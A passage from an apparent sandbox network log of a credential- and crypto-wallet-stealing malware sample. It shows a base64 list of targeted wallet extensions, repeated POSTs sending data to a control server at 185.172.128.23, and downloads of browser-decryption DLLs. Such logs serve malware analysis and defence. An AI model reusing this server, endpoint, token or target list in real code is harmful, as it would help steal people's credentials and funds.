TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhb
Apr 17, 2024 06:57:02.975733042 CEST	1289	IN	Data Raw: 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 Data Ascii: GxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBk
Apr 17, 2024 06:57:02.975773096 CEST	1289	IN	Data Raw: 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 64 68 62 47 78 6c 64 48 78 6b 61 32 52 6c Data Ascii: FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8M
Apr 17, 2024 06:57:02.975811005 CEST	1289	IN	Data Raw: 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 Data Ascii: wYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY2
Apr 17, 2024 06:57:02.975850105 CEST	456	IN	Data Raw: 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 Data Ascii: YmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHx
Apr 17, 2024 06:57:03.004420042 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBG Host: 185.172.128.23 Content-Length: 5227 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:03.004457951 CEST	5227	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 39 37 35 37 Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="token"63975721cd48654003a68e5e2e89974919b7c273165ed4e30b6bb11025203694d8734761------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Apr 17, 2024 06:57:03.578957081 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:03.809833050 CEST	93	OUT	GET /8e6d9db21fb63946/sqlite3.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 06:57:04.117764950 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:04 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00 2e 00 00 00 14 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 5c 0b 00 00 00 c0 0e 00 00 0c 00 00 00 42 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70#N
Apr 17, 2024 06:57:04.117816925 CEST	1289	IN	Data Raw: 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 50 03 00 00 00 20 0f 00 00 04 00 00 00 8e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 Data Ascii: @B/81s:<R@B/92P @B
Apr 17, 2024 06:57:04.117855072 CEST	1289	IN	Data Raw: 00 00 00 e8 2b e9 0a 00 8d 43 ff 89 7c 24 08 89 5c 24 04 89 34 24 83 f8 01 77 8c e8 23 fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 Data Ascii: +C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$
Apr 17, 2024 06:57:04.117892981 CEST	233	IN	Data Raw: 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 03 8b 42 10 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 11 8b 4a 10 85 c9 74 0a 8b 42 04 c6 04 08 00 8b 42 04 5d c3 8b 10 8d 4a 01 89 08 0f b6 12 81 fa bf 00 00 00 76 59 55 0f b6 92 40 9e ec 61 89 e5 53 8b 18 8a Data Ascii: ]U1UtB]U1UtJtBB]JvYU@aSuK?v"%=t=D[]USI1t9sAvuA@[] gatU
Apr 17, 2024 06:57:04.118246078 CEST	1289	IN	Data Raw: 24 ff d2 c9 c3 31 c0 c3 55 85 c0 89 e5 74 10 8b 88 0c 01 00 00 85 c9 74 06 ff 41 24 89 51 0c 89 d0 5d c3 85 c0 74 4d 0f b6 08 80 b9 e0 a1 ec 61 00 89 ca 79 3f 55 80 f9 5b b1 5d 0f 44 d1 b9 01 00 00 00 89 e5 57 56 53 be 01 00 00 00 8a 1c 08 8d 7e Data Ascii: $1UttA$Q]tMay?U[]DWVS~8u:TuT0A\0AF[8^_]UVS149uuaa)uC[^]UEUu1t]]UWVMSU}u1K
Apr 17, 2024 06:57:06.065017939 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCAFIIDHIDGHIECGDGI Host: 185.172.128.23 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:06.700294018 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:06.802896023 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFIDBFHDBGIDHJJEGHI Host: 185.172.128.23 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 06:57:07.720345020 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:07.753384113 CEST	560	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGIIEBFCBAAAAKKEGH Host: 185.172.128.23 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 39 37 35 37 32 31 63 64 34 38 36 35 34 30 30 33 61 36 38 65 35 65 32 65 38 39 39 37 34 39 31 39 62 37 63 32 37 33 31 36 35 65 64 34 65 33 30 62 36 62 62 31 31 30 32 35 32 30 33 36 39 34 64 38 37 33 34 37 36 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 4d 54 45 34 4d 54 67 78 4e 54 55 75 5a 6d 6c 73 5a 51 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="token"63975721cd48654003a68e5e2e89974919b7c273165ed4e30b6bb11025203694d8734761------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="file_name"MTE4MTgxNTUuZmlsZQ==------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="file"------IJDGIIEBFCBAAAAKKEGH--
Apr 17, 2024 06:57:08.148288965 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:08.485096931 CEST	560	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGI Host: 185.172.128.23 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 39 37 35 37 32 31 63 64 34 38 36 35 34 30 30 33 61 36 38 65 35 65 32 65 38 39 39 37 34 39 31 39 62 37 63 32 37 33 31 36 35 65 64 34 65 33 30 62 36 62 62 31 31 30 32 35 32 30 33 36 39 34 64 38 37 33 34 37 36 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 4d 54 45 34 4d 54 67 78 4e 54 55 75 5a 6d 6c 73 5a 51 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 2d 2d 0d 0a Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="token"63975721cd48654003a68e5e2e89974919b7c273165ed4e30b6bb11025203694d8734761------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="file_name"MTE4MTgxNTUuZmlsZQ==------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="file"------ECFHJKEBAAECBFHIECGI--
Apr 17, 2024 06:57:08.814956903 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 06:57:09.051362038 CEST	93	OUT	GET /8e6d9db21fb63946/freebl3.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 06:57:09.371499062 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:09 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Apr 17, 2024 06:57:10.510757923 CEST	93	OUT	GET /8e6d9db21fb63946/mozglue.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 06:57:10.835225105 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:10 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 